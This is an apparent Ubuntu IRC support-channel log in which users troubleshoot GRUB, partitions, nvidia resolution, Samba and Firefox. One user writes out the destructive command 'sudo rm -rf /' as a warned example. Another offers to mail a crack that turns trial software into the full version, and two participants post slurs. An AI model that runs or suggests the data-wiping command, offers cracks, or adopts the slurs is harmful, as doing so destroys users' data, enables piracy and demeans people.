danloz, or make uninstall if you can. [06:48] malloc64, dell dell dell and then maybe hp :D [06:48] that's funny [06:48] ciao [06:48] malloc64, good night. [06:48] kauer am switching back n forth between dapper and gutsy but i have not run databases on these..only on suse [06:48] bkar: If you haven't been using the database recently then.... [06:49] Adlai, could ypu please be more specific ? [06:49] kauer what crashes? the database or your whole system? [06:49] does anybody knows why rhythmbox needs nautilus-cd-burner? [06:49] uhh, I think it's in administration > login menu [06:49] or something like that === prone is now known as m0 [06:50] cabrioleur: because it burns music to cd's? [06:50] no one at all have multiple boot that can assist me? just need to find out how many entries [06:51] proqesi, nautilus-cd-burner doesn't burn audio. Beside, it's using cdrecord only. [06:51] Hi, I need some help please. I was installing ubuntu, when i was asked to partition the drive i didnt know how to use only 40GB oh my harddrive [06:51] so i went to manual, and click new Parition table [06:52] anyone know the command to change colors in bitchx? [06:52] Somebody look at this, if you don't mind: http://pastebin.com/d64b6f601 [06:52] http://pastebin.com/d64b6f601 [06:52] now, I screwed my other partition, its not even there. It says free space [06:52] Any help how I can undo this process please? I unfortunetly restarted my computer but it doesnt load anything says DISC error [06:53] I have a 30gb ubuntu and a 200gb of free space, which was previously my windows harddrive [06:54] proqesi : that's the folder, but I don't know how to move it into the next folder. the next command I'm supposed to input is sudo mv firefox /usr/local/firefox32 [06:54] I don't understand this. Bash says it can't install it because it's there already. But apt-ge if you try to run it, bash says it can't find it [06:54] navid, gpart can attempt to recreate partitions. [06:54] thinman1189: that command should work if you are in home and firefox folder is there as you said [06:55] cabrioleur: You think it would fix my xp partition (I had over 100GB of data there..) [06:55] anyone here talking to me [06:55] navid: if you boot with a windows repair disk and try running fixmbr you can probably get it back [06:56] if you just changed the partition table, and didn't format [06:56] fixmbr fixboot fix [06:56] (and, actually, you still stand a good chance if you did format) [06:56] danloz, do you have errors when you type "sudo dpkg -r ndiswrapper"? [06:56] hey guys. how can i simulate (via the command line) a text entry in the alt+f2 run box? [06:56] how can I remove and reinstall cupsys without removing ubuntu-desktop, since I have the following error trying to upgrade cupsys http://rafb.net/p/gInqVk60.html [06:56] navid: do not write to the disk at all [06:56] Adlai: I didnt format it, it just says free space [06:56] maybe something like, "gnome-run http://www.test.com" to launch the web browser [06:56] Hi folks, I install Compiz Config Settings Manager and enabled Desktop Cube and Rotate Cube. When I do the command CTR+ALT+DOWN, it just shows me what active window I am on. How do I get the cube view? [06:56] proqesi : the folder is in home and I get the error mv: cannot stat `firefox': No such file or directory [06:57] .efnet.net [06:57] I iwll go ahead and try the fixmbr, eventhough I tried it yesterday and didnt work [06:57] navid: you can fix it but don't write to it till you do [06:57] proqesi : using the command sudo mv firefox /usr/local/firefox32 [06:57] navid: then yeah, don't touch it until you get a windows disk, and go to recovery console and run fixmbr [06:57] JerseyMonkey , can you do ctrl+alt+left/right after you do ctlr+alt+down? [06:57] also, run `help` in there and see if there's anything else that looks like it'll work...there's one other command you might try [06:57] I forget what it is though [06:57] JerseyMonkey , by default, you can check out the cube by middle-mouse-dragging the desktop I think. also ctrl+alt+mousedrag [06:57] oh, right [06:58] chkdsk /r [06:58] thinman1189, make _sure_ the names are correct. Use tab tap often. To avoid guessing, you can use mc in terminal. [06:58] ok sounds good [06:58] Yea I'll give this a try now. [06:59] rofl, I'm an idiot. the move worked and I didn't notice, lol. [06:59] bkar: Just OO crashes. Sudden death. [06:59] navid: more of a ##windows problem imo but whatever [07:00] maybe more help [07:00] is there a hotkey to min a program thats full screen? i have problems with that sometimes... [07:00] kauer oh well, i dont know if you have the right jdbc jars to connect...jars for specific db .. [07:00] j/#ubuntu-it [07:00] BloodyScum, you can map a key for hat yourself if you want [07:00] rico, CTR+ALT+LEFT/RIGHT let me switch workspaces like default. Down just shows the window of the two workspaces. [07:01] It is possible for a hacker to discover a root' password for ssh in remote ? [07:01] rico, CTR+ALT+mouse drag doesn't do anything either [07:01] I'm planning to rip out my laptotps hard drive and use an SDHC flash card as the primary boot device for a dual boot Linux/WinXP, and I'm wondering what type of sd card is best for this sort of wear and what kind of lifetime it will have [07:02] Adlai, fixmbr will write a new mbr (writing on the partition), and fsck will not report errors. navid can use gpart to recover partitions if everything is untouched. [07:02] um i just did fixmbr [07:02] does it suppose to return anything? [07:02] Its not displaying anything [07:02] I'll try fixboot [07:02] you should ask in ##windows [07:02] you shouldn't blindly try stuff [07:02] you may will also want to try this ,ms-sys [07:02] you might mess it up [07:03] Hi! Is there any KDE4 repository yet? [07:03] anyone with multiple os boots? please as sudo root; and in the grub> command line please find /boot/grub/stage1 and tell me how many entries you have? [07:03] HeMan, long time. [07:04] how do I change colors of text in bitchx, what do I type at command line? [07:04] bkar: yup, made very sure they were the right ones. Also got exactly the same symptoms attempting to connect to mysql, postgresql and oracle (with different connectors of course!). As far as I am concerned, OO+DB is broken. So, back to my origibal question: Do you know of any DB app builders? [07:04] Does anyone know of a guide for use of Compiz Setting's Manager? [07:06] kauer nope [07:06] silent_: flash can't be rewritten constantly - it wears out. You will have to make special provision to avoid too many writes - like turn off atime, maybe log across the network (or reduce logging to a minimum). If you separate system stuff from writable stuff you could even mount the flash RO... [07:06] is there a way to start vino server remotely from ssh? [07:07] hey [07:07] i think im dying [07:07] seriously guys [07:07] dhamma would it be the same if you start it locally? you are already logged in to the system via ssh, so start it as if you were local? [07:08] kauer: what can I do to stop logging? and I should use ext2, and what else can I do/ [07:08] clack clack nigga [07:08] kauer: is there a utility that can monitor drive reads/writes? [07:08] i'm connect through putty (xp box) 'sudo vino-session' gives me: (vino-session:14172): Gtk-WARNING **: cannot open display: [07:09] Spacecat: i think 4chan is calling your name [07:09] naw [07:09] i hate 4chan [07:10] im trying to learn c++ [07:10] cabrioleur , proqesi : the instructions say to use the command firefox32 &. here's the details : http://paste.ubuntu-nl.org/51745/ [07:11] when i start X the resolution is not correct but once i run nvidia-settings it resets the screen automatically and then its normal.. what is wrong? [07:11] :) [07:12] im using an HDTV at 1280x720 [07:12] are you using ubuntu? [07:12] yes.. [07:13] What key is SUPER? [07:13] do you have the resolution set in the system->preferences? [07:13] the windows key is super on my computer [07:13] oddalot: yes [07:13] how about the screen [07:13] Compiz 'Expo' is 'Super+E' but nothing happens with WINDOWS + E [07:13] screen and graphics [07:13] oddalot: its native resolution. [07:14] how do I check past commands? [07:14] is the refresh rate correct? [07:14] oddalot: everything is set right but i have overscan. but once i open the nvidia-settings app. it instantly fixes the overscan [07:14] thinman1189, less ~/.history [07:14] hmm.... [07:15] thinman1189, or you can type history [07:15] have you tried running nvidia-settings on startup? [07:15] like have it pop up the window ? [07:15] is there a way you can make a website think you are running windows and are running ie [07:16] when you are really running linux and firefox [07:16] danloz, you there [07:16] bmoney, go to about:config and search for it. [07:16] you could change your browser's user-agent string [07:16] yeah...guess that's not a very practical solution [07:16] ok [07:16] have you tried reconfiguring the x package? [07:16] that worked for me once [07:16] Nop. Definitely didn't work [07:16] danloz: http://forums.debian.net/viewtopic.php?t=7949 [07:17] oddalot: yes. its just that for some reason X isnt using all the nvidia modules options until i run nvidia-settings for some reason [07:17] silent_: look at syslog.conf to see about controlling logging. Be aware that not everything logs through syslog. Dunno about logging reads and writes, but if you set the drive to RO when you mount it, you should get errors when things try to write that drive. [07:17] I am trying that right now, i hope it fricken works [07:17] hmmm [07:18] so you've tried this? [07:18] sudo dpkg-reconfigure xserver-xorg [07:18] yes [07:18] I have a smb share that I would like to allow everyone to write to (including non-authenticated) but I am having truoble with smb.conf.... help! [07:18] hmm [07:18] i am stuck too then [07:18] i still have refresh rate problems [07:18] lol [07:18] anyone with multiple os boots? please sudo root; and in the grub> command line please find /boot/grub/stage1 and tell me how many entries you have? [07:18] what do i put in to make it look like win xp running IE? [07:19] Are we sure that I don't have to enable the restricted driver to run ndiswrapper? [07:19] danloz: i thought you did [07:19] ah. Ok [07:20] ndiswrapper is for network stuff, not for video [07:20] danloz, nope. But I'm a freebsd user with slackware experience, and I know ubuntu only from documentations :-) [07:20] bkar: only get one - the last os installed [07:20] system->admin->restricted driver manager [07:20] ok lets reboot and see what happens [07:21] danloz, ndiswrapper is not restricted in any possible way. Furthermore, it doesn't use any module from restricted. [07:21] Wow! didn't work [07:21] ere4si-> you have multiple os installed in different partitions right? and you only get one entry per my question? [07:21] surprise surprise [07:21] oddalot: it shows that the restricted module IS being used. [07:21] ok [07:21] what's the problem? [07:22] kauer: where will the errors be? on startup? [07:22] overscan on the screen(hdtv) upon bootup. but once i open nvidia-settings .. as soon as it opens up.. it automatically fixes the overscan. i need the over scan to stay fixed through a reboot [07:23] hello guys [07:23] bkar, I have at the moment - ubuntu - knoppix and mepis - and only one stage one grub - don't know alot aabout this but had to reinstall grub due to errors and mepis grub - the last install had stage one [07:23] Ok [07:23] runlevel, check your xorg.conf [07:23] let's try this again [07:23] ubuntu is 4 fags, i hate it [07:23] hi, yesterday I was looking to install an ubuntu server on an old pc (just to get confidence). During installation the system asked me information about disk quota. I didn't expect this question. I stopped the installation I need more info. Looking on forums seem that the server version is a reduced form of desktop. That is: every thing I do with server can be done with desktop. So, my ask is there any differences on how the t [07:23] wo versions manage the disk? Thank you... [07:23] I need a way to find out my motherboard model. Maybe something like CPU-Z? [07:23] cabrioleur: can you elaborate please [07:24] hey, in my running around I accientally got rid of the network manager in the upper right hand corner of the screen [07:24] I have a smb share that I would like to allow everyone to write to (including non-authenticated) but I am having truoble with smb.conf.... what I thought would work, didn't... help! [07:24] how do I get that back? [07:24] runlevel, paste your xorg.confg [07:24] cabrioleur: one sec lemme pastebin it [07:24] ere4si-> these different OS's are in different partitions for you right? its odd that it will only show one stage1 for all of them [07:24] does anyone know anything about getting the audigy 2 zs sound card working? === cz1 is now known as czk [07:25] Is there anyone using FreeMind 0.9.0-beta15 ?

I'm having some trouble here, which is odd, because I can connect to a lot of other sites.

[07:42] lol of course it does [07:43] bkar: the mbr determines what grub can boot [07:43] the mbr has always been real root [07:43] vic_: yes mbr=master boot record... its a low level application... it delegates to grub/windows io.sys [07:43] ere4si-> yes, correct, but grub can be re-installed into mbr right? [07:44] like that command grub-install ? [07:44] bkar: no - it reads the mbr [07:45] I can ssh from my laptop to my ubuntu box, but for some reason I can't connect to the net from my ubuntu box. I've ruled out my firewall. Anyone have any ideas? [07:45] bkar: grub is a 2 part thing... you can have another bootloader load grub (that would be the mbr), or grub can also be used as a bootloader (then it would be the mbr)... grub, and grub mbr are 2 seperate things [07:45] why you have an firewall?

[07:48] nothing gets recognized [07:49] mlpug, usually a window pops up with its contnets [07:49] can you open a terminal and type dmesg [07:49] bkar: Dont know did you read man grub?

[07:50] arooni_: dmesg will show you where the device is located. ex. /dev/sda [07:50] bkar: you could also install ubuntu, only exit after the actual install starts, should work... how i did it [07:50] i checked and i has two sun java JRE installed, sun-java5-bin and sun-java6-bin [07:50] I wouldn't trust "todd_" if i were you people [07:50] he ucks [07:51] Can anyone answer my question on kde4?

Used cp -a to do it. Looks like I have to edit the fstab to account for the new drives different uuid, are there any other things I need to look at as well?

[07:55] hi [07:55] bkar: plug in the original disk then from a live cd type in terminal sudo grub find /boot grub/stage1 [07:55] msl, you there? [07:55] arooni_: I think you are looking too far back. If you unplug and replug the device, at the very bottom of the dmesg output it should say "usb-storage: device found at ??" and then will show [sda] or [sdb] or similar which is where the device is located [07:55] kenro: what? Dude, BitchX is awesome. [07:55] is it possible to make a custom 64bit kernel with the gutsy 32ul [07:55] hello, how do i get sudo access in file browser for gui file operations? [07:55] Drikus: I just did it today. [07:55] kenro, im using it.. trying to change regular color to bright green, dunno the command to do it [07:55] Ony: Nope, I am following the google link, and nothing... probably down... try again in 2 hours [07:55] msl, ah in that case i'm not seeing any such message ... its like ubuntu never sees it :9 [07:55] kenro: though irssi is better imo. [07:56] Onyx: ok [07:56] ere4si-> would it not be the same since am already booted right now, i just type grub as root and get the boot prompt, then type find /boot/grub/stage1 which btw gave me 3 entries [07:56] bkar: ok, all i wanted to know, i dont like executing unknown commands as i dont want something like a discuised "sudo rm -r /" type comand in disguise[i did that on a live CD by accedent once, was coruis] [07:56] rather 4 entries [07:56] Onyx: did this in gentoo before not sure if there are any limitations with gutsy to watch out for. thanks [07:56] bluefoxx: then don't enter any forkbombs either [07:57] Drikus: Building the kernel is different than it was in Gentoo. [07:57] bluefoxx be friends with man pages [07:57] arooni_: That is weird. Are you using other USB devices? And have you ever had it working before? [07:57] to get windows running vm, do i need vmware server, player or workstation? [07:57] bluefoxx if someone gave you a command, you can always man command [07:57] msl, no, and yes [07:57] Onyx: found this tutorial with some specific ubuntu stuff http://www.ubuntutips.net/node/13 [07:58] bluefoxx: try using man to find out for yourself based on what they tell you [07:58] what is the easiest way to install fonts? [07:58] msl, i'm not seeing anything new happen after [3422.xxxx] [07:58] bkar: if it gives three entries then choose the one that boots the disk you can't boot - seems simple that way [07:58] !vmware [07:58] VMWare Player is in Ubuntu's !Multiverse repository (package "vmware-player", not available for Gutsy, only Feisty and Edgy), and http://www.easyvmx.com/easyvmx.shtml can create VMs for it. Instructions can be found at https://help.ubuntu.com/community/VMware - See also !virtualizers [07:58] Adlai: lol, i found a code for forkbombs on wikipedia, and the dude sitting next to me made the shortcut to IE a shortcut to the forkbomb he wrote off wikipedia[we all hate windows and school computers running it] [07:58] arooni_: In that case I don't know what is going on. [07:58] hello, how do i copy a file when it says i do not have access. where do i enter the root password [07:59] msl, hmmmmmmmmmmm oh noes [07:59] i cannot just drag and drop in file browser? [07:59] bkar: ok, ty, will man in future [07:59] vraa: you dont generaly want to do that kind of thing as root willy nilly... so when you need to use a shell [08:00] what do i type to do that? [08:00] i know kinda how to use a shell [08:00] ere4si-> somehow your last statement, I didnt quite read or comprehend correctly [08:00] i just copy paste stuff from the forums [08:00] vraa; or change the permissions on the destination [08:00] can i change the permissions on the destination from the gui? [08:01] vraa: what are you trying to do specificaly? [08:01] well i have a spare box here, and i figure i'm going to use it to learn ubuntu [08:01] and the best way i've found to learn stuff is by breaking it [08:01] so i'm gonna upgrade to hardy using the apt-get method === defyence is now known as Defyence [08:02] but it's failing on a problem, bug report 182222, there is a downloadable fix though [08:02] and i am trying to copy it to the correct folder [08:02] vraa: ok, well linux is remarkably break resistant via the gui... so thats a good thing right??? [08:02] My Freinds! [08:02] i have a mac, so whenever i do file copy stuff into restricted folders, it gives me an entry to a password [08:02] I am going to log off! [08:02] bkar: ok, tyvm; JAVA and frost are running again[the terminal is my friend X3] [08:02] vraa: if you want something thats easy to break, I recomend windows vista [08:02] Wish me luck! [08:03] lol no vista is expensive. i want to learn how to use a free os [08:03] bkar: if you install the drive that you are having trouble with - then use a live cd and in termijnal type sudo grub find /boot/grub/stage1 and get three options then choose the one that boots the drive that you are having trouble booting :) [08:03] vraa: nope.. you are going to have to shell to do "evil things" [08:03] vraa: I would copy it to your home directory (or Desktop) and then move it from there. [08:03] i can give a free os on laptops i ship to family across the world [08:03] okay i can do evil things [08:03] how do i change my emerald theme? [08:04] i am not too averse to terminal [08:04] what's the command to move a file? [08:04] ere4si-> but once I choose it, what is the command to then write the mbr, now am back to my original and everything is A okay? [08:04] vraa: mv [08:04] vraa: sure... example evil thing that is bad for ubuntu... DO NOT TRY!!! sudo rm -rf / [08:05] lol i know :) [08:05] i've heard it in jokes on bash [08:05] vraa: But it sounds as though you need root privileges for where you are moving it to, so you will need to sudo mv theFile theDestination [08:05] vraa: do a man mv from shell, folowed by a man man [08:05] yep just did it, restarting dist-upgrade [08:05] yeah i did man mv first [08:06] vraa: what did you not understand from man mv? [08:06] oh i understood it [08:06] vraa: ok good [08:06] i didn't know it was mv [08:07] vraa: do a man man and check out the -k option [08:07] bkar: find /boot/grub/stage1 gave you an address - so then itv is root (hd0,?)[which is the address] setup (hd0)) quit [08:08] ere4si-> okay , thank you, setup was the command I was seeking.. [08:08] bkar: let us know how it goes pls [08:08] oh man this is so much stuff [08:08] lol [08:08] ere4si-> be back in a bit [08:08] could someone my smb.conf at look at http://pastebin.com/m2d437388 for me... especially the [public] section [08:08] k bkar [08:09] hi. does anyone using the nvidia proprietary drivers with gutsy have the issue that they can't change their resolution? mine's stuck at 1024x768, and I can't change it (I can't even lower it). [08:09] vraa: the only command you NEED to know is man man... everything else can be found from that [08:09] I've disable ipv6, setup my ip, netmask & gw, setup dns in resolv.conf; but I still can't connect to the net, can anyone point me in a new direction? [08:10] minilek, you probably need to add different resolutions to your xorg.conf - that would be my guess [08:10] ? [08:11] stumped: have you tried turning it on and off again? [08:11] hunchybunch: thank you for the suggestion, though i have tried this in the "Modes" section of xorg.conf. it didn't work. [08:11] s/on and off/off and on [08:11] Hi all [08:11] stumped, what is the connection? [08:11] Adlai: several times for different reasons [08:11] I want to setup a KDE4 dev env [08:11] ere4si: ethernet [08:11] I need the header files and libs, not the entire source [08:12] 23123 [08:12] essentially the SDK. Could someone help me out with it? [08:12] stumped: it was a tv reference, not a serious suggestion, sorry [08:12] Gpart shuts down my keyboard when I select any configuration [08:12] Adlai: IT Crowd. I know ... but still worth a shot :) [08:12] stumped, tried the default dhcp? [08:12] monzie: you want someone to teach tou how to program? [08:13] ere4si: nope [08:13] could someone my smb.conf at look at http://pastebin.com/m2d437388 for me... especially the [public] section [08:13] Anyone know any help? I burned gparted to fix my partition but i seem to have a few problems [08:13] stumped, why didn't you use the network manager to set it up? [08:13] hi! anyone knows where inkscape saves a recovery file after crashing? [08:13] stumped, that always gives me ethernet joy :) [08:13] 1) on the boot menu of gparted i dont know which configuration to select to repair xp [08:13] 2) my keyboard dies [08:14] hunchybunch: i'm running the server version [08:14] Need some help with UUIDs here. I changed a partion on my drive and aparently all the UUIDs changed as a result. I updated the fstab to account for this but I'm still getting an invalid UUID error on boot (cat /proc/modules or something like that is the command that throws the error right after grub hands off). WHere else to I need to update? [08:14] anyone here use bitchx? [08:14] I am unable to get the blackdown java plugin to work on Gutsy 64. Everything installs and I set the correct symlinks but the plugin doesn't load. Any ideas? [08:14] heatmzzr: yes [08:15] todd_: i just need the name of the packages [08:15] stumped, did you make your change to /etc/network/interfaces? [08:15] ere4si: the actual connection works ... ie. I'm ssh'd to it from a different laptop ... but for some reason that one box just wont get on the net [08:15] crazy nfsd sitiatuion. [08:15] minilek, how do I change the colors, mainly just the main channel color to bright green? [08:15] hunchybunch: yep [08:15] todd_: there is "kde-devel" package for kde 3.5 [08:15] monzie: which sdk, I MAY be able to help [08:15] reason given by server: Permission denied when trying to mount [08:15] todd_: Are there simliar packages for KDE4? [08:16] monzie: sorry, dont know try synaptic [08:16] stumped, did you if down if up? [08:16] todd_: something like kde4-devel? or kde4-sdk? or something similar [08:16] heatmzzr: sorry, i've never tried messing with the colors [08:16] where does nfsd log to? [08:16] arrggh, ok [08:16] todd_: cant find anything similar :( [08:16] lol [08:16] hunchybunch: do you know anything else that might cause not being able to change resolution ? [08:16] stumped, not a standard setup - the setup you run then? [08:16] hunchybunch: yeah ... whenever I made changes [08:17] could someone my smb.conf at look at http://pastebin.com/m2d437388 for me... especially the [public] section [08:17] minilek, i am inexperienced with nvidia - maybe you make the changes within the proprietary driver itself, i dunno [08:17] i installed gutsy a couple days ago and i heard there was some kind of problem with the Flash plugin, is there any way i can get flash9 working in firefox? [08:18] marshall,how about www.adobe.com [08:19] icesword: does that actually work or are you being a dick? [08:19] marshall, you mean to play like youtube files and such? [08:19] marshall, i uninstalled flash completely, then i took firefox to youtube, and it installed perfectly (I think :P) - try that and see what happens [08:19] hah [08:19] hunchybunch: ok, thanks [08:19] marshall, it should [08:19] minilek, what driver did you install? pls [08:19] icesword: ok, ill try it [08:19] ere4si: pretty standard as far as I can tell ubuntu 7.10 server edition running on a generic i386 machine [08:20] i used the synaptics, to get flash to work, just have to make sure no conflicts with versions 5 and 6 [08:20] hunchybunch: what did you do to uninstall flash completely? [08:20] ere4si: the latest proprietary driver from the nvidia website (version 169.07) [08:20] dude ubuntu is difficult [08:20] hunchybunch: i think the only thing i had installed for it was flashplugin-nonfree [08:20] i installed updates and now i can't use java irc [08:21] lol [08:21] and i can't find a wine prog for ubuntu [08:21] sudo apt-get remove flashplugin-nonfree [08:21] blacksunrise, not imo. Ive used alot of different OS's and i found Ubuntu very easy to install [08:21] i just can't figure out how to get wine [08:21] :p [08:21] i got another problem, i had "PCI: Bios bug found #81 ..." something error message every time i start ubuntu 7.10. I updated all the packages, and its still there. Working on a laptop with Phoenix Trusted core bios, Intel 945GM + ICH7M chipset. Any ideas what might be the problem? [08:22] any1 knows anything bout this? [08:22] could someone look at my smb.conf at http://pastebin.com/m2d437388 for me... especially the [public] section [08:22] stumped, it might not help you but I set up severs then ssh into them - still new to that aspect - but once setup they work as expected [08:22] Has anybody had success with the Blackdown Plugin on 64 bit systems? I can install it but Firefox won't pick it up [08:22] ere4si: why do you ask -- are you familiar with this problem? [08:22] ive just installed Crossover Office, and i dont see the shortcut or know the the command to start it. what is the command for Codeweaver's Crossover Office please? does anyone know? thankyou [08:23] ere4si: I'm sure it's something stupid I've done. Usually is. Thanks for your trying anyway. Cheers. [08:24] minilek, the first thought that crossed my mind was that you didn't reconfigure your /etc/X11/xorg.conf file for the new driver [08:24] scarlet, why not use eioffice ,www.eioffice.com [08:24] whats everyones favourite media player browser plugin? whats good for watching embedded videos? [08:24] ere4si: i see. yes, i am using the driver "nvidia" [08:24] thanks icesword [08:25] scarlet, it has very good support for linux ,and compatible with m$ [08:25] minilek: can you repeat your issue pls - doing many things here - what's not happening ? [08:25] May i join here from web -explorer? [08:26] ere4si: got a sec? [08:26] k [08:26] ere4si: i cannot change my screen resolution. it is stuck at 1024x768 -- i can't change it higher or lower if i use the nvidia driver (though i can change it if i use another driver, say vesa). the problem persists even if i edit the "Modes" line of my display subsection of section "Screen" in xorg.conf [08:27] When I run gparted I dont get a graphical interface...this is just bad it says type the name of the driver you want to be forced in xorg.conf..i dont know which driver to select either [08:27] he Anyone here uses the orinoco usb driver with kernel >= 2.6.22? [08:27] ere4si: currently my modes line has 1280x800, 1024x768, 800x600, and 640x480. however, i can only actually use 1024x768. [08:27] ere4si: I am trying to configure my samba server, but I am seeing some strange results... could you take a look at what I have for me? [08:28] minlek: did you type in terminal sudo dpkg-reconfigure xserver-xorg and choose the defaults except the video driver? [08:29] ere4si: i have tried that, yes. [08:29] todd_, : samba is a pia - I don't use any windows in my home - sorry - I use nfs [08:29] Hi folks, I cain't enable desktop effects, but I enabled restricted drivers. [08:30] ere4si: I dont either, but others do... I just want to make sure I am not crazy [08:30] icesword, do you know where i might find that eioffice ? downloadable ? [08:30] minilek: is the resolution you want the first option in each line of /etc/X11/xorg.conf? [08:30] I followed this tutorial to install FF3 on Ubuntu: http://www.ubuntugeek.com/howto-install-firefox-3-beta-2-in-ubuntu-710-gutsy-gibbon.html . Now I want to revert to FF2 and clean up the mess. Could someone take a quick look at the link and help me with the course of action? [08:31] scarlet, ok let me see [08:31] but it is a business thing [08:31] Woo hoo! Just got it working.... never mind [08:31] !flash [08:31] To install Flash see https://help.ubuntu.com/community/RestrictedFormats/Flash - Flash 9 is now available in dapper-backports and edgy-backports - See also !Restricted and !Gnash [08:31] The Flash plugin installation is currently broken. This is due to Adobe changing the tar file that the package downloads. See http://ubuntuforums.org/showthread.php?t=636397 if you need to fix this immediately, but it's recommended to wait for an official fix. [08:32] todd_, : using samba from my point of view means you are a sixpack short of a bbq...:) [08:32] ere4si: it seems to ignore my modes line in xorg.conf. even if i only put, say, 800x600, it still is stuck at 1024x768. [08:32] scarlet, you may want to see here,http://www.evermoresw.com/weben/download/downloads.jsp [08:32] minilek: do you have the control panel in your menu? [08:32] How are you,ubotu? [08:32] ere4si: which menu are you referring to ? [08:33] Can anyone help me with a strange samba configuration issue, or at least confirm this is a bug? [08:33] lol i found a downloadable cd of eioffice ...... is it better than crossover .... worth the 600mb download ? [08:33] how can I remove all traces of Firefox 2/3 on my system and reinstall it? [08:33] applications minilek - the top panel on a standard install [08:34] scarlet, sure it is,it is worth a try [08:34] how do you turn off the screensaver completely? [08:34] !ot [08:34] #ubuntu is the Ubuntu support channel, #ubuntu+1 supports the development version of Ubuntu and #ubuntu-offtopic is for random chatter. Welcome! [08:34] all I see is a max of two ohours === bmoney is now known as shrug [08:34] ere4si: there's no "control panel" in applications, but there is "system tools" with an "nvidia settings" option [08:35] does anyone the launch command for crossover office tho ?? [08:35] scarlet, also see here,http://www.evermoresw.com/webch/download/downEIOffice.jsp [08:35] Ayabara, in /home/you there are files that are hidden - click "view in the top menu - then "show hidden files" " [08:35] minilek: try that for a start [08:36] ere4si: actually it's not those I have scr***d up. it's the installation [08:36] Can ANYONE help me with a strange samba configuration issue, or at least confirm this is a bug? [08:36] ere4si: i can change the resolution in "nvidia settings", but not to 640x480 or 800x600. only to 640x384, 576x384, and 512x384, none of which i want to change to. [08:36] nvrmind....read the whole screen [08:36] ill be buggered if i can read chinese, but thankyou icesword [08:36] :) [08:36] Half of my azureus is showing in a weird font.. Might be some other language... Can I show a screenshot? [08:37] i didnt know anyone was still using azureus.... do you live in US? [08:38] what fonts are used on ubuntuforums.org? [08:38] scarlet, what you used crossover is a business software too,see what it does ,emulation,but eioffice is base on java,i mean it is universal , [08:38] minilek: from here I would suggest uninstalling any drivers you installed - rebooting and starting agai - sorry , it's the only advice UI can give from here [08:38] I installed msttfcorefonts and now they look at bit washed out. They're not using ms fonts are they? [08:38] *again [08:38] what is the best audio recording tool? [08:38] ere4si: so what I want to do is uninstall FF and remove all symlinks and stuff that refer to it, then reinstall the repo-version [08:38] ere4si: ok, thanks for the help. i have been at this for hours, uninstalling/reinstalling/rebooting/etc. thank you though. [08:39] scarlet, on that page, did you see two parts ,one for win one for lin,you can download eioffice from under it [08:39] i wanted to run M$ Access [08:39] yah saw that thanks icesword [08:39] i need a IRC channel for yamaha AV....LOL [08:39] javatexan, no I don't [08:39] scarlet: try openoffice, it has a compatable dbase to access [08:40] Ayabara, in your home folder arwe files called .mozilla etc that remember your options - remove those beforen you reinstall [08:40] Can ANYONE help me with a strange samba configuration issue, or at least confirm this is a bug? [08:40] scarlet, did you download it? [08:40] that would explain things. I tried to download one file on azureus and my router was bombarded for a month and a half after I had completely erased azureus off my machine [08:41] was a little scary and irritating [08:41] never got the file.... :) [08:41] ere4si: doesn't sudo apt-get remove --purge program get rid of the config files as well? [08:41] minilek: my nvidia needed the restricted driver - but it worked ok - can only suggest a restart - sorry [08:41] Well I tried rtorrent and deluge, but my stats are not correct on private torrent sites, So I need to try something else. Others (mostly windows users) don't have this problem [08:42] private sites are ruff [08:42] Leechzilla, try ktorrent.. although rtorrent is widely used too [08:42] i will download it later on my offpeak connection icesword [08:42] So wanted to give azureus a try, but half of it is in some weird non-english font [08:42] ere4si: ok. do you mind taking a look at the link I posted, to see if any of the steps there will get in the way of a reinstall? [08:42] ArthurArchnix, I've found that some files are left - use synaptic and click on "status" [08:43] i like the public ones...you can change azureus to cheat....a little [08:43] Ayabara, sure - the link? [08:43] j #ubuntu-women [08:43] ere4si: http://www.ubuntugeek.com/howto-install-firefox-3-beta-2-in-ubuntu-710-gutsy-gibbon.html [08:44] ere4si: some dpkg-divert and stuff that I'm not on top of in there :-) [08:44] ere4si: I just checked and found some residual compiz folders, even though I did a complete remove through synaptic. Strange. [08:44] hi i need some help with gparted [08:45] ArthurArchnix, that's why synaptic was invented - good on the developers :) [08:45] !ask | debaser [08:45] debaser: Please don't ask to ask a question, ask the question -- All On One Line, so others can read it and follow it easily --. and if anyone knows the answer they will most likely answer. :-) [08:45] thanks [08:47] scarlet, if you really got intrested,i can mail you something to make trial become normal,if you need,certainly,you need to buy it to make it legal [08:47] Ayabara, firefox 3 is still to be proven - but with all precautions you should be ok - do you know that ~/.mozilla is a hidden file in your /home folder? [08:48] m new with this, i m running 7.10 live cd and i m trying to format my previously ntfs file system to something that gets along with linux, i tried to format it to ext2 but that didnt work and gparted crashed....now the file system for that partition is shown as unknown [08:48] So I just told firefox to override the settings on webpages, and now ubuntuforums.org looks beautiful again. After I installed msttfcorefonts it looked washed out. Someone please tell me that ubuntuforums.org does not use msttfonts. [08:48] ere4si: yep. [08:49] I have a big problem... I ran fsck and then everything started dieing, ended up in console where I figured out that my user didn't have r/w access to any disks, I was told to rerun fsck as root(sudo fsck) and let it do it's thing then reboot... now it just freezes at the start up screen [08:49] debaser: I used ntfs for a good 6 months without problems when I dual booted. ntfs-3g is really quite good, and installed by default in gutsy. [08:50] ere4si: but in that folder, ff2 and ff3 had different folders, so I hope/think that's ok [08:50] ArthurArchnix: i dont want to use dual boot now...just ubuntu [08:51] debaser: Ok. Are you using the partition manager that comes with the live cd? If so, have you tried deleting the partition in question and reformatting again as ext3? [08:51] ere4si: seems ok after a reinstall. thanks for helping [08:52] Ayabara, sorry I couldn't help more... :) [08:52] ArthurArchnix: , i just tried to delete the partition and gparted has crashed again [08:52] debaser: Are you still on the livecd, or are you running from the hard-disk right now? [08:53] still on the live cd [08:53] :) [08:53] debaser: And are you using the gparted tool from within the livecd, or is it crashing during the install process? === Bod_ is now known as Bodsda [08:53] i m runing it from the live cd :) [08:54] hi guys, does anyone no if there is a cedega channel? [08:55] debaser: Ok, that probably won't work, since the livecd mounts your disks in such a way that you can't accidentally damage them while using the livecd. If you click the install to hard-disk option after a few screens gparted will be shown again and you can reformat your disks as you please during the install process. [08:56] ok i ll try that thanks ArthurArchnix [08:56] debaser: Dont' sign off. You'll be able to stay online and chat while the install happens. [08:56] ok [08:56] debaser: Isn't that cool? :) [08:56] awesome [08:56] hi [08:57] i thought i made a new user account for my friend to use the laptop, (it's got feisty on it) how do I get it to open as HER account and not mine? [08:57] greetings pawan [08:57] what is the best way to install a font? [08:57] u too [08:57] ogra: for what? [08:57] ArthurArchnix: , um where is the install to hard disk option :S [08:58] debaser: Should be on your desktop. An icon. [08:58] ty pawan [08:58] chalcedony: i want to use it as a system font [08:58] 